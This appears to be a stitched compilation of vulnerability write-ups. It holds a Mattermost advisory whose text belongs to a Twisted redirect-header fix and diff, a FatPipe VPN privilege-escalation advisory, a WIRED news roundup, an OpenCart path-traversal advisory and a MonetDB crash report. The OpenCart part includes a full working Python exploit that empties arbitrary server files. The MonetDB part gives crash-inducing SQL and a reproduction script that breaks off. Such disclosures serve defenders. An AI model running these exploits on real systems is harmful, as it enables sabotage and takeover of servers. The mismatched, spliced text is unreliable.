Mattermost fails to check if hardened mode is enabled when overriding the username and/or the icon when posting a post. If settings allowed integrations to override the username and profile picture when posting, a member could also override the username and icon when making a post even if the Hardened Mode setting was enabled



1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-47865

**Mattermost Improper Access Control vulnerability**

Moderate severity GitHub Reviewed Published Nov 27, 2023 to the GitHub Advisory Database • Updated Nov 28, 2023

**Package**

gomod github.com/mattermost/mattermost-server/v6 (Go)

**Affected versions**

< 7.8.13

gomod github.com/mattermost/mattermost/server/v8 (Go)

Published to the GitHub Advisory Database

Nov 27, 2023

Last updated

Nov 28, 2023

GHSA-jj46-9cgh-qmfx: Mattermost Improper Access Control vulnerability

twisted is an event-driven networking engine written in Python. In affected versions twisted exposes cookies and authorization headers when following cross-origin redirects. This issue is present in the `twited.web.RedirectAgent` and `twisted.web. BrowserLikeRedirectAgent` functions. Users are advised to upgrade. There are no known workarounds.

@@ -8,7 +8,8 @@ import zlib from http.cookiejar import CookieJar from io import BytesIO from unittest import skipIf from typing import TYPE\_CHECKING, List, Optional, Tuple from unittest import SkipTest, skipIf  
from zope.interface.declarations import implementer from zope.interface.verify import verifyObject @@ -76,6 +77,15 @@ URIInjectionTestsMixin, )  
\# Creatively lie to mypy about the nature of inheritance, since dealing with \# expectations of a mixin class is basically impossible (don't use mixins). if TYPE\_CHECKING: testMixinClass \= TestCase runtimeTestCase \= object else: testMixinClass \= object runtimeTestCase \= TestCase  
try: from twisted.internet import ssl as \_ssl except ImportError: @@ -108,8 +118,8 @@ class StubHTTPProtocol(Protocol): request method is appended to this list. """  
def \_\_init\_\_(self): self.requests \= \[\] def \_\_init\_\_(self) \-> None: self.requests: List\[Tuple\[Request, Deferred\[IResponse\]\]\] \= \[\] self.state \= "QUIESCENT"  
def request(self, request): @@ -2587,12 +2597,25 @@ def getConnection(this, key, ep): self.assertEqual(agent.\_pool.connected, True)  
  
class \_RedirectAgentTestsMixin: SENSITIVE\_HEADERS \= \[ b"authorization", b"cookie", b"cookie2", b"proxy-authorization", b"www-authenticate", \]  
  
class \_RedirectAgentTestsMixin(testMixinClass): """ Test cases mixin for L{RedirectAgentTests} and L{BrowserLikeRedirectAgentTests}. """  
agent: IAgent reactor: MemoryReactorClock protocol: StubHTTPProtocol  
def test\_noRedirect(self): """ L{client.RedirectAgent} behaves like L{client.Agent} if the response @@ -2611,32 +2634,56 @@ def test\_noRedirect(self): self.assertIdentical(response, result) self.assertIdentical(result.previousResponse, None)  
def \_testRedirectDefault(self, code): def \_testRedirectDefault( self, code: int, crossScheme: bool \= False, crossDomain: bool \= False, crossPort: bool \= False, requestHeaders: Optional\[Headers\] \= None, ) \-> Request: """ When getting a redirect, L{client.RedirectAgent} follows the URL specified in the L{Location} header field and make a new request. @param code: HTTP status code. """ self.agent.request(b"GET", b"http://example.com/foo") startDomain \= b"example.com" startScheme \= b"https" if ssl is not None else b"http" startPort \= 80 if startScheme \== b"http" else 443 self.agent.request( b"GET", startScheme + b"://" + startDomain + b"/foo", headers\=requestHeaders )  
host, port \= self.reactor.tcpClients.pop()\[:2\] self.assertEqual(EXAMPLE\_COM\_IP, host) self.assertEqual(80, port) self.assertEqual(startPort, port)  
req, res \= self.protocol.requests.pop()  
\# If possible (i.e.: SSL support is present), run the test with a \# If possible (i.e.: TLS support is present), run the test with a \# cross-scheme redirect to verify that the scheme is honored; if not, \# let's just make sure it works at all. if ssl is None: scheme \= b"http" expectedPort \= 80 else: scheme \= b"https" expectedPort \= 443  
headers \= http\_headers.Headers({b"location": \[scheme + b"://example.com/bar"\]})  
targetScheme \= startScheme targetDomain \= startDomain targetPort \= startPort  
if crossScheme: if ssl is None: raise SkipTest( "Cross-scheme redirects can't be tested without TLS support." ) targetScheme \= b"https" if startScheme \== b"http" else b"http" targetPort \= 443 if startPort \== 80 else 80  
portSyntax \= b"" if crossPort: targetPort \= 8443 portSyntax \= b":8443" targetDomain \= b"example.net" if crossDomain else startDomain locationValue \= targetScheme + b"://" + targetDomain + portSyntax + b"/bar" headers \= http\_headers.Headers({b"location": \[locationValue\]}) response \= Response((b"HTTP", 1, 1), code, b"OK", headers, None) res.callback(response)  
@@ -2645,15 +2692,25 @@ def \_testRedirectDefault(self, code): self.assertEqual(b"/bar", req2.uri)  
host, port \= self.reactor.tcpClients.pop()\[:2\] self.assertEqual(EXAMPLE\_COM\_IP, host) self.assertEqual(expectedPort, port) self.assertEqual(EXAMPLE\_NET\_IP if crossDomain else EXAMPLE\_COM\_IP, host) self.assertEqual(targetPort, port) return req2  
def test\_redirect301(self): """ L{client.RedirectAgent} follows redirects on status code 301. """ self.\_testRedirectDefault(301)  
def test\_redirect301Scheme(self): """ L{client.RedirectAgent} follows cross-scheme redirects. """ self.\_testRedirectDefault( 301, crossScheme\=True, )  
def test\_redirect302(self): """ L{client.RedirectAgent} follows redirects on status code 302. @@ -2672,6 +2729,74 @@ def test\_redirect308(self): """ self.\_testRedirectDefault(308)  
def \_sensitiveHeadersTest( self, expectedHostHeader: bytes \= b"example.com", \*\*crossKwargs: bool ) \-> None: """ L{client.RedirectAgent} scrubs sensitive headers when redirecting between differing origins. """ sensitiveHeaderValues \= { b"authorization": \[b"sensitive-authnz"\], b"cookie": \[b"sensitive-cookie-data"\], b"cookie2": \[b"sensitive-cookie2-data"\], b"proxy-authorization": \[b"sensitive-proxy-auth"\], b"wWw-auThentiCate": \[b"sensitive-authn"\], b"x-custom-sensitive": \[b"sensitive-custom"\], } otherHeaderValues \= {b"x-random-header": \[b"x-random-value"\]} allHeaders \= Headers({\*\*sensitiveHeaderValues, \*\*otherHeaderValues}) redirected \= self.\_testRedirectDefault(301, requestHeaders\=allHeaders)  
def normHeaders(headers: Headers) \-> dict: return {k.lower(): v for (k, v) in headers.getAllRawHeaders()}  
sameOriginHeaders \= normHeaders(redirected.headers) self.assertEquals( sameOriginHeaders, { b"host": \[b"example.com"\], \*\*normHeaders(allHeaders), }, )  
redirectedElsewhere \= self.\_testRedirectDefault( 301, \*\*crossKwargs, requestHeaders\=Headers({\*\*sensitiveHeaderValues, \*\*otherHeaderValues}), ) otherOriginHeaders \= normHeaders(redirectedElsewhere.headers) self.assertEquals( otherOriginHeaders, { b"host": \[expectedHostHeader\], \*\*normHeaders(Headers(otherHeaderValues)), }, )  
def test\_crossDomainHeaders(self) \-> None: """ L{client.RedirectAgent} scrubs sensitive headers when redirecting between differing domains. """ self.\_sensitiveHeadersTest(crossDomain\=True, expectedHostHeader\=b"example.net")  
def test\_crossPortHeaders(self) \-> None: """ L{client.RedirectAgent} scrubs sensitive headers when redirecting between differing ports. """ self.\_sensitiveHeadersTest( crossPort\=True, expectedHostHeader\=b"example.com:8443" )  
def test\_crossSchemeHeaders(self) \-> None: """ L{client.RedirectAgent} scrubs sensitive headers when redirecting between differing schemes. """ self.\_sensitiveHeadersTest(crossScheme\=True)  
def \_testRedirectToGet(self, code, method): """ L{client.RedirectAgent} changes the method to I{GET} when getting @@ -2878,7 +3003,10 @@ def test\_responseHistory(self):  
  
class RedirectAgentTests( TestCase, FakeReactorAndConnectMixin, \_RedirectAgentTestsMixin, AgentTestsMixin FakeReactorAndConnectMixin, \_RedirectAgentTestsMixin, AgentTestsMixin, runtimeTestCase, ): """ Tests for L{client.RedirectAgent}. @@ -2888,7 +3016,10 @@ def makeAgent(self): """ @return: a new L{twisted.web.client.RedirectAgent} """ return client.RedirectAgent(self.buildAgentForWrapperTest(self.reactor)) return client.RedirectAgent( self.buildAgentForWrapperTest(self.reactor), sensitiveHeaderNames\=\[b"X-Custom-sensitive"\], )  
def setUp(self): self.reactor \= self.createReactor() @@ -2912,7 +3043,10 @@ def test\_302OnPost(self):  
  
class BrowserLikeRedirectAgentTests( TestCase, FakeReactorAndConnectMixin, \_RedirectAgentTestsMixin, AgentTestsMixin FakeReactorAndConnectMixin, \_RedirectAgentTestsMixin, AgentTestsMixin, runtimeTestCase, ): """ Tests for L{client.BrowserLikeRedirectAgent}. @@ -2923,7 +3057,8 @@ def makeAgent(self): @return: a new L{twisted.web.client.BrowserLikeRedirectAgent} """ return client.BrowserLikeRedirectAgent( self.buildAgentForWrapperTest(self.reactor) self.buildAgentForWrapperTest(self.reactor), sensitiveHeaderNames\=\[b"x-Custom-sensitive"\], )  
def setUp(self):

CVE-2022-21712: Merge pull request from GHSA-92x2-jw7w-xvvx · twisted/twisted@af8fe78

FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 allows a remote, authenticated attacker with read-only privileges to grant themselves administrative privileges. Older versions of FatPipe software may also be vulnerable. The FatPipe advisory identifier for this vulnerability is FPSA001.

Title: FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Remote Privilege Escalation  
Advisory ID: ZSL-2021-5685  
Type: Local/Remote  
Impact: Privilege Escalation  
Risk: (4/5)  
Release Date: 27.09.2021

**Summary**

FatPipe Networks invented the concept of router-clustering, which provides the highest level of reliability, redundancy, and speed of Internet traffic for Business Continuity and communications. FatPipe WARP achieves fault tolerance for companies by creating an easy method of combining two or more Internet connections of any kind over multiple ISPs. FatPipe utilizes all paths when the lines are up and running, dynamically balancing traffic over the multiple lines, and intelligently failing over inbound and outbound IP traffic when ISP services and/or components fail.

FatPipe IPVPN balances load and provides reliability among multiple managed and CPE based VPNs as well as dedicated private networks. FatPipe IPVPN can also provide you an easy low-cost migration path from private line, Frame or Point-to-Point networks. You can aggregate multiple private, MPLS and public networks without additional equipment at the provider's site.

FatPipe MPVPN, a patented router clustering device, is an essential part of Disaster Recovery and Business Continuity Planning for Virtual Private Network (VPN) connectivity. It makes any VPN up to 900% more secure and 300% times more reliable, redundant and faster. MPVPN can take WANs with an uptime of 99.5% or less and make them 99.999988% or higher, providing a virtually infallible WAN. MPVPN dynamically balances load over multiple lines and ISPs without the need for BGP programming. MPVPN aggregates up to 10Gbps - 40Gbps of bandwidth, giving you all the reliability and speed you need to keep your VPN up and running despite failures of service, line, software, or hardware.

**Description**

The application suffers from a privilege escalation vulnerability. A normal user (group USER, 0) can elevate her privileges by sending a HTTP POST request and setting the JSON parameter 'privilege' to integer value '1' gaining administrative rights (group ADMINISTRATOR, 1).

**Vendor**

FatPipe Networks Inc. - https://www.fatpipeinc.com

**Affected Version**

WARP / IPVPN / MPVPN  
10.2.2r38  
10.2.2r25  
10.2.2r10  
10.1.2r60p82  
10.1.2r60p71  
10.1.2r60p65  
10.1.2r60p58s1  
10.1.2r60p58  
10.1.2r60p55  
10.1.2r60p45  
10.1.2r60p35  
10.1.2r60p32  
10.1.2r60p13  
10.1.2r60p10  
9.1.2r185  
9.1.2r180p2  
9.1.2r165  
9.1.2r164p5  
9.1.2r164p4  
9.1.2r164  
9.1.2r161p26  
9.1.2r161p20  
9.1.2r161p17  
9.1.2r161p16  
9.1.2r161p12  
9.1.2r161p3  
9.1.2r161p2  
9.1.2r156  
9.1.2r150  
9.1.2r144  
9.1.2r129  
7.1.2r39  
6.1.2r70p75-m  
6.1.2r70p45-m  
6.1.2r70p26  
5.2.0r34

**Tested On**

Apache-Coyote/1.1

**Vendor Status**

\[30.05.2016\] Vulnerability discovered.  
\[25.07.2021\] Vulnerability discovered.  
\[25.07.2021\] Vendor contacted.  
\[27.07.2021\] No response from the vendor.  
\[28.07.2021\] Vendor contacted.  
\[06.08.2021\] No response from the vendor.  
\[07.08.2021\] Vendor contacted.  
\[09.08.2021\] CISA contacted.  
\[09.08.2021\] CISA asks for more details.  
\[09.08.2021\] Sent details to CISA.  
\[10.08.2021\] CISA asked if the vulnerabilities were previously reported and which contacts did ZSL used initially.  
\[10.08.2021\] Replied to CISA.  
\[10.08.2021\] CISA will reach out to the vendor.  
\[16.08.2021\] Asked CISA for status update.  
\[17.08.2021\] CISA responds that the vendor replied and is reviewing the information.  
\[17.08.2021\] CISA responds, vendor pushed updates to address the reported issues.  
\[17.08.2021\] Replied to CISA, asked for patch release plan and coordination of advisory release.  
\[18.08.2021\] Working with CISA and FatPipe.  
\[20.08.2021\] Vendor released advisory: https://www.fatpipeinc.com/support/advisories.php  
\[23.08.2021\] Working with the vendor.  
\[24.08.2021\] Sent draft advisories to vendor. Asked for fixed version number. Informed that the advisories will be released mid September.  
\[25.08.2021\] Asked vendor for confirmation of PoCs receipt.  
\[30.08.2021\] Further discussion with the vendor about the vulnerabilities.  
\[07.09.2021\] Asked vendor for status update.  
\[10.09.2021\] Vendor requests more details.  
\[10.09.2021\] Provided further details to the vendor.  
\[14.09.2021\] Informed the vendor that advisories will be released 27th September.  
\[19.09.2021\] Informed CISA about our release plan.  
\[27.09.2021\] Coordinated public security advisory released.  
\[27.09.2021\] Vendor provides fixed versions 10.1.2r60p92 and 10.2.2r43, and for 9.1.2: 9.1.2r161p31 and 9.1.2r180p9.

**PoC**

fatpipe\_privesc.py

**Credits**

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk\>

**References**

\[1\] https://www.fatpipeinc.com/support/advisories.php  
\[2\] https://www.exploit-db.com/exploits/50342  
\[3\] https://cxsecurity.com/issue/WLB-2021090150  
\[4\] https://packetstormsecurity.com/files/164323/FatPipe-Networks-WARP-IPVPN-MPVPN-10.2.2-Privilege-Escalation.html  
\[5\] https://exchange.xforce.ibmcloud.com/vulnerabilities/210326  
\[6\] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/2791320/nsa-cisa-release-guidance-on-selecting-and-hardening-remote-access-vpns/  
\[7\] https://popalltheshells.medium.com/exploit-breakdown-fatpipe-networks-warp-ipvpn-mpvpn-10-2-2-privilege-escalation-421f99d1c56  
\[8\] https://www.fatpipeinc.com/support/cve-list.php  
\[9\] https://thehackernews.com/2021/11/fbi-issues-flash-alert-on-actively.html  
\[10\] https://www.ic3.gov/Media/News/2021/211117-2.pdf  
\[11\] https://threatpost.com/fbi-fatpipe-vpn-zero-day-exploited-apt/176453/  
\[12\] https://cisomag.eccouncil.org/fatpipe-mpvpn-zero-day-vulnerability-exploited/  
\[13\] https://www.securityweek.com/fbi-warns-actively-exploited-fatpipe-zero-day-vulnerability  
\[14\] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27855  
\[15\] https://www.fatpipeinc.com/fpsa/  
\[16\] https://www.fatpipeinc.com/fpsa/fpsa001.php

**Changelog**

\[27.09.2021\] - Initial release  
\[30.09.2021\] - Added reference \[2\], \[3\], \[4\], \[5\] and \[6\]  
\[04.10.2021\] - Added reference \[7\]  
\[21.11.2021\] - Added reference \[8\], \[9\], \[10\], \[11\], \[12\] and \[13\]  
\[11.01.2022\] - Added reference \[14\]  
\[01.02.2022\] - Added reference \[15\] and \[16\]

**Contact**

Zero Science Lab

Web: https://www.zeroscience.mk  
e-mail: lab@zeroscience.mk

CVE-2021-27855: Zero Science Lab » FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Remote Privilege Escalation

Plus: Joe Biden’s classified-documents scandal, the end of security support for Windows 7, and more.

A WIRED investigation this week found that the app SweepWizard, which some US law enforcement agencies use to coordinate raids, was publicly exposing sensitive data about hundreds of police operations until WIRED disclosed the flaw. The exposed data included personally identifying information about hundreds of officers and thousands of suspects, including geographic coordinates of suspects’ homes and the time and location of raids, demographic and contact information, and some suspects’ Social Security numbers.

Meanwhile, police in the Indian state of Telangana are using grassroots educational initiatives to help people avoid digital scams and other online exploitation. And the industrial control giant Siemens disclosed a major vulnerability in one of its most popular lines of programmable logic controllers this week. The company does not have plans to fix the vulnerability because, on its own, it is exploitable only through physical access. Researchers say, though, that it creates exposure for the industrial control and critical infrastructure environments that incorporate any of the 120 models of vulnerable S7-1500 PLCs.

And there’s more. Each week, we highlight the security news we didn’t cover in-depth ourselves. Click on the headlines below to read the full stories.

The UK’s Royal Mail service said on Wednesday that it had been hit by a ransomware attack and, as a result, could not process packages and letters to ship internationally. The company asked customers not to attempt to ship international mail until the attack is remediated. Royal Mail officials blamed the prolific cybercriminal ransomware group LockBit, which is thought to be based in Russia, for the attack. Royal Mail has not provided extensive comment about the situation but called it a “cyber incident” and cautioned that there would be “severe disruption” as a result of the attack.

In November, aides of President Joe Biden found classified material from his time as vice president in an office he used before beginning his 2020 presidential campaign and at his Wilmington, Deleware, home. Now, after combing through the president's papers and offices, they have found more classified documents in an additional location. NBC News, which first reported the new details on Wednesday, wrote, “The classification level, number, and precise location of the additional documents was not immediately clear. It also was not immediately clear when the additional documents were discovered and if the search for any other classified materials Biden may have from the Obama administration is complete.”

Microsoft said in March 2019 that it would sunset Windows 7 and that customers should migrate to newer versions of the operating system. Beginning in January 2020, the company continued providing security updates only to enterprise customers who paid for extended support. Microsoft said that this, too, would run out at the end of 2022. The company confirmed on Tuesday that security updates for Windows 7 have ended and that all users should upgrade if they haven't done so already. Computers that continue to run Windows 7 will not receive updates and will be vulnerable to hacking. The operating system first launched in 2009 and was ubiquitous in its heyday. As with many versions of Windows, it will likely have a long tail. TechCrunch reports that some market-share data analysts estimate that 10 percent of Windows PCs around the world still run Windows 10. Seemingly because of lower adoption rates, Microsoft ended support for Windows 8 in January 2016 and ended support for Windows 8.1 on Tuesday as well. And the company will not offer extended support for Windows 8.1.

Cybercriminals looking to conduct identity theft have been exploiting a very basic security weakness in the website of the credit bureau Experian. Experian designed its systems so people who want a copy of their credit report need to correctly answer a number of multiple-choice questions about their financial histories to validate their identity. Until the end of 2022, though, Experian’s website was allowing anyone to get around the requirement by simply entering a person's name, birth date, Social Security number, and address. This set of information is often readily accessible to cybercriminals because of past data breaches and composite troves of many breaches put together.

A September 2022 investigation by the _The New York Times_ included frank commentary from Russian soldiers about their criticisms of Russia's invasion of Ukraine and ongoing war in the country. But the story seems to have accidentally exposed phone numbers and other identifying metadata about some of the sources, and the information persisted in publicly available source code for the story until Motherboard notified the publication in January. Though unintentional, the lapse has real potential implications for the physical safety of the sources, who could face repercussions from the Russian government or other entities.

Russian Ransomware Gang Attack Destabilizes UK Royal Mail

Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2 allows an authenticated user with access/modify privilege on the Log component to empty out arbitrary files on the server

**Summary:**

**Product**

OpenCart

**Vendor**

OpenCart

**Severity**

High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.

**Affected Versions**

4.0.0.0 - 4.0.2.2

**Tested Version(s)**

4.0.2.2

**CVE Identifier**

CVE-2023-2315

**CVE Description**

Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.

**CWE Classification(s)**

CWE-27 - Path Traversal: ‘dir/../../filename’

**CAPEC Classification(s)**

CAPEC-126 - Path Traversal

**CVSS3.1 Scoring System:**

**Base Score:** 8.1 (High)  
**Vector String:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

Low

**User Interaction (UI)**

None

**Scope (S)**

Unchanged

**Confidentiality (C)**

None

**Integrity (I)**

High

**Availability (A)**

High

**Product Overview:**

Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.

**Vulnerability Summary:**

There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from versions 4.0.0.0 onward and patched in version 4.0.2.3.

**Vulnerability Details:**

A backend user with “access” and “modify” permissions on the “tool/log” setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file “error.log”, by specifying it in the filename query parameter. The relevant code that is vulnerable can be found below:

    // /admin/controller/tool/log.php
    
    public function clear(): void {
    
        if (isset($this->request->get['filename'])) {
            $filename = (string)$this->request->get['filename']; // [1]
        } else {
            $filename = '';
        }
    
        $json = [];
    
        if (!$this->user->hasPermission('modify', 'tool/log')) {
            $json['error'] = $this->language->get('error_permission');
        }
    
        // DIR_LOGS = /system/storage/logs/
        $file = DIR_LOGS . $filename; // [2]
    
        if (!is_file($file)) {
            $json['error'] = sprintf($this->language->get('error_file'), $filename);
        }
    
        if (!$json) {
            $handle = fopen($file, 'w+'); // [3]
            fclose($handle);
            $json['success'] = $this->language->get('text_success');
        }
        // ...
    }
    

At [1], the filename is obtained from the incoming HTTP GET request and stored into the $filename PHP variable without any form of input sanitisation. At [2], the file name is appended to the back of the storage log path /system/storage/logs/ and stored into another variable $file. At [3], the $file variable is used in a fopen() function call with the mode set to w+. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.

In a normal scenario, the file /system/storage/logs/error.log will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the filename query parameter to contain any number of path traversal sequence (../) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website’s functionality.

**Exploit Conditions:**

This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with access and modify permissions on tool/log.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.

The vulnerability can be exploited by sending a GET request to https://TARGET_HOST/admin/index.php?route=tool/log.clear&user_token=<USER_TOKEN>&filename=../../../../../../tmp/PoC.txt, for example:

    GET /admin/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token=4d6d604d8862798e96fe91846f28a36f HTTP/1.1
    Host: TARGET_HOST
    Cookie: OCSESSID=4f09deedf4a82f9c5b4bee9ec3;
    

Before running the exploit below, please ensure that you create a non-empty file /tmp/PoC.txt and that it has write permissions for the web user:

    $ echo "Hello" > /tmp/PoC.txt
    $ chmod 777 /tmp/PoC.txt 
    $ ls -la /tmp/PoC.txt
    -rwxrwxrwx 1 root root 6 Apr 26 09:36 /tmp/PoC.txt
    

Then, run the exploit below:

    # Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315)
    # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import re
    import requests
    import sys
    requests.packages.urllib3.disable_warnings()
    
    s = requests.Session()
    
    def check_args():
        global target, username, password
    
        print("\n======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) =======")
        print("Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!\n")
    
        if len(sys.argv) != 4:
            print("[!] Please enter the required arguments like so: python3 {} http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD".format(sys.argv[0]))
            sys.exit(1)
    
        target = sys.argv[1].strip("/")
        username = sys.argv[2]
        password = sys.argv[3]
    
    def authenticate():
        global user_token
    
        print("[+] Attempting to authenticate...")
    
        # Get login_token
        path = f"{target}/index.php"
        res = s.get(path)
        login_token = re.findall("login_token=(.+)\" method", res.text)[0]
        
        # Perform login and get user_token
        data = {
            "username": username,
            "password": password
        }
        path = f"{target}/index.php?route=common/login.login&login_token={login_token}"
        res = s.post(path, data=data)
        user_token = re.findall("user_token=(.+)\"", res.text)[0]
    
        if not user_token:
            print("[!] Failed to authenticate! Are the credentials correct?")
            sys.exit(1)
    
        print("[+] Authenticated successfully.")
    
    def delete():
    
        print("[+] Attempting to empty /tmp/PoC.txt...")
    
        # Empty /tmp/PoC.txt
        path = f"{target}/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token={user_token}"
        res = s.get(path)
        print(f"[+] Output: {res.text}")
    
    def main():
        check_args()
        authenticate()
        delete()
    
    if __name__ == "__main__":
        main()
    

**Suggested Mitigations:**

OpenCart released version 4.0.2.3 that patches this vulnerability. It is recommended to upgrade to the latest version of OpenCart.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all GET requests made to /admin/index.php?route=tool/log.clear, and filtering for requests that contain ../ in the filename query parameter.

**Credits:**

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline:**

*   2022-09-06 Followed the security bug reporting instructions and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages.
*   2022-09-11 Email sent to [email protected] in an attempt to establish a proper communication channel with the project owner/maintainers.
*   2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied “they do not have such”.
*   2022-09-14 Tried the “Contact Us” form on OpenCart’s website. Ended up with a second support ticket being opened.
*   2022-09-15 Opened a GitHub Issue (#12684) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and **marked as spam**.
*   2022-09-15 Email sent directly to [email protected] as it is used for GitHub commits.
*   2022-09-15 Project owner replied and we sent the bug report over.
*   2022-09-15 Bug fixed in commit 0a8dd91
*   2023-09-16 New release version 4.0.2.3 containing the patch.
*   2023-09-18 Public Release

CVE-2023-2315: (CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2

An issue in the GDKfree component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

**Describe the bug**  
MonetDB server 11.46.0 crashes in GDKfree after executing SQL statements through mclient.

**To Reproduce**

1.  Use mclient to connect MonetDB server;
2.  Try to execute the following SQL statements **multiple times**. Sometimes they will crash the server. (On my machine, the server crashes after repeating executing these SQLs with at most 4 times)

DROP SCHEMA test CASCADE;
CREATE SCHEMA test;
SET SCHEMA test;
CREATE TABLE src (src\_c1\_pkey INT, c1 VARCHAR(100));
START TRANSACTION;
DELETE   FROM src;
ALTER TABLE src DROP src\_c1\_pkey;
INSERT INTO src VALUES(1,1),(2,2),(3,3),(4,4),(6,6),(7,7),(8,8),(9,9),(10,10);
COMMIT;
SET SCHEMA sys;
DROP SCHEMA test CASCADE;
CREATE SCHEMA test;

**Expected behavior**  
Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server.

**Backtrace**

    #0 0x7f280338000b (gsignal+0xcb)
    #1 0x7f280335f859 (abort+0x12b)
    #2 0x7f28033ca26e (__fsetlocking+0x42e)
    #3 0x7f28033d22fc (pthread_attr_setschedparam+0x54c)
    #4 0x7f28033d3f6d (pthread_attr_setschedparam+0x21bd)
    #5 0x7f280414f765 (GDKfree+0x25)
    #6 0x7f280377af7b (destroy_delta+0x7b)
    #7 0x7f280377576d (destroy_col+0x2d)
    #8 0x7f2803745345 (column_destroy+0x45)
    #9 0x7f2803761ec2 (list_destroy2+0xa2)
    #10 0x7f2803760d14 (ol_destroy+0x34)
    #11 0x7f2803745450 (table_destroy+0x90)
    #12 0x7f280375ec17 (objectversion_destroy+0x77)
    #13 0x7f280375eb4f (os_destroy+0xcf)
    #14 0x7f2803750cdc (schema_destroy+0x7c)
    #15 0x7f280375ec17 (objectversion_destroy+0x77)
    #16 0x7f280376065d (objectversion_destroy_recursive+0x3d)
    #17 0x7f2803760345 (tc_gc_objectversion+0x75)
    #18 0x7f280374a307 (store_pending_changes+0x307)
    #19 0x7f280374ea87 (sql_trans_commit+0x567)
    #20 0x7f2803759353 (sql_trans_end+0x83)
    #21 0x7f280379c10c (mvc_commit+0x4fc)
    #22 0x7f280369d564 (SQLengine_+0x284)
    #23 0x7f280369c343 (SQLengine+0x23)
    #24 0x7f2803a2b6cf (runScenario+0x4f)
    #25 0x7f2803a2c16c (MSscheduleClient+0x68c)
    #26 0x7f2803ad3c2b (doChallenge+0xfb)
    #27 0x7f2804152ba0 (THRstarter+0x100)
    #28 0x7f28041c2cc4 (thread_starter+0x34)
    #29 0x7f2803537609 (start_thread+0xd9)
    #30 0x7f280345c133 (clone+0x43)
    

**Software versions**

*   MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch)
*   MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2)
*   OS and version: ubuntu 20.04
*   Self-installed and compiled. The command line of compilation: CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo

**Issue labeling**  
bug

**Additional context**  
The MonetDB here runs in-memory database. The command line of starting MonetDB server is mserver5 --in-memory.

If the crash cannot be reproduced easily, please tell me. I will try to provide the whole steps to trigger the crash as possible.

Could **not** reproduce the crash with MonetDB 5 server v11.45.17 (Sep2022-SP3).  
We will add a test case to see if any memory leaks are detected.

I write a bash script to reproduce. It use the docker image of MonetDB v11.45.17 (Sep2022-SP3). Maybe it can help to reproduce the crash.

#!/bin/bash

######################################################
#\# Build the image of MonetDB and start a container.  
######################################################
docker pull monetdb/monetdb:Sep2022-SP3
docker run -e MDB\_DB\_ADMIN\_PASS=monetdb -d -p 50000:50000 --name monetdb monetdb/monetdb:Sep2022-SP3
docker container restart monetdb

echo -e "user=monetdb\\npassword=monetdb" | docker exec -i monetdb tee /root/.monetdb

echo "Waiting the monetdb server to start..."
while ! docker exec monetdb mclient monetdb \> /dev/null 2> /dev/null
do
    echo -n "."
done

docker exec monetdb dnf install procps-ng -y

#################################################
#\# Get current PID of the mserver5 process. 
#\# as the mserver5 will be restart automatically 
#\# after crashing in the docker container,
#\# we check a crash by comparing the PIDs.
#################################################
echo -ne "Check PID of mserver5: \\033\[0;32m\\033\[1m"
docker exec monetdb pidof mserver5
echo -ne "\\033\[0m"
oldPid=$(docker exec monetdb pidof mserver5)

#\# Loop the SQL test cases.
for (( i\=0; i<200; ++i ))
do

